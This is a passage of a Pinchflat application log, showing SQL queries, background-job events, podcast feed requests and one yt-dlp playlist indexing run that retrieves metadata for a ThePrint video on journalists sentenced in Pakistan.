s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:23:25.534 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=1325.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:23:25.534 [info] Sent 200 in 8ms 16:23:28.348 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:58.350 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.320 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:28.352 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:37.690 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:24:37.690 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:24:37.692 [debug] QUERY OK source="sources" db=0.9ms idle=1620.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:24:37.693 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1621.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:24:37.695 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1624.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:24:37.696 [debug] QUERY OK source="media_metadata" db=0.4ms idle=1316.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:24:37.697 [info] Sent 200 in 7ms 16:24:58.354 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.322 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:28.357 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:58.360 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.324 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:28.362 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:58.366 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.325 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:28.368 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:58.371 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.327 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:28.373 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:38.142 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:28:38.143 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:28:38.144 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=168.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:28:38.146 [debug] QUERY OK source="media_items" db=1.2ms idle=75.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:28:38.148 [debug] QUERY OK source="source_metadata" db=0.4ms idle=77.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:28:38.149 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=78.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:28:38.149 [info] Sent 200 in 7ms 16:28:58.376 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.329 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:28.379 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:32.276 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:29:32.277 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:29:32.278 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=207.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:29:32.280 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=208.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:29:32.282 [debug] QUERY OK source="source_metadata" db=0.3ms idle=211.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:29:32.283 [debug] QUERY OK source="media_metadata" db=0.9ms idle=211.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:29:32.284 [info] Sent 200 in 7ms 16:29:56.856 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 16:29:58.381 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.332 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:28.383 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:58.386 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.333 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:28.388 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:56.871 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:31:58.390 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.335 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:28.393 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:58.396 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.337 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:21.876 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:33:21.876 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:33:21.878 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=1805.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:33:21.880 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1807.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:33:21.883 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1811.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:33:21.884 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1059.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:33:21.885 [info] Sent 200 in 9ms 16:33:28.399 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:58.402 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.339 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:28.404 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:58.407 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.342 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:17.201 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:35:17.201 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:35:17.203 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1130.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:35:17.204 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1132.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:35:17.206 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1098.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:35:17.207 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.2ms idle=135.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:35:17.208 [info] Sent 200 in 7ms 16:35:28.410 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:58.412 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.344 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:28.414 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:58.450 [info] {"source":"oban","duration":35308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.345 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:28.528 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:56.585 [info] {"args":{"id":1},"id":87,"meta":{},"system_time":1768063076584826810,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 16:37:56.588 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=515.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:37:56.589 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=517.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.592 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=519.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:37:56.613 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=36.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:37:56.615 [debug] QUERY OK source="media_profiles" db=0.6ms idle=29.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:56.618 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=29.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.622 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 16:37:56.624 [debug] Current batch of media processed. Will check again in 1000ms 16:37:56.624 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=33.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.625 [debug] QUERY OK source="settings" db=0.6ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.627 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.672 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cc/10/cc1067e0949ad2a60b9a42bbc7b7362ffb97e6c7278afb310e34e8d8ce51cba0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:37:57.625 [debug] Current batch of media processed. Will check again in 1000ms 16:37:58.532 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:58.626 [debug] Current batch of media processed. Will check again in 1000ms 16:37:59.627 [debug] Current batch of media processed. Will check again in 1000ms 16:38:00.347 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:00.628 [debug] Current batch of media processed. Will check again in 1000ms 16:38:01.629 [debug] Current batch of media processed. Will check again in 1000ms 16:38:02.631 [debug] Current batch of media processed. Will check again in 1000ms 16:38:03.632 [debug] Current batch of media processed. Will check again in 1000ms 16:38:04.634 [debug] Current batch of media processed. Will check again in 1000ms 16:38:05.635 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 16:38:05.637 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1565.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 16:38:05.639 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1567.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:05.690 [debug] QUERY OK source="media_items" db=50.4ms idle=1568.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 16:38:05.753 [debug] QUERY OK source="media_items" db=60.5ms idle=1081.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» 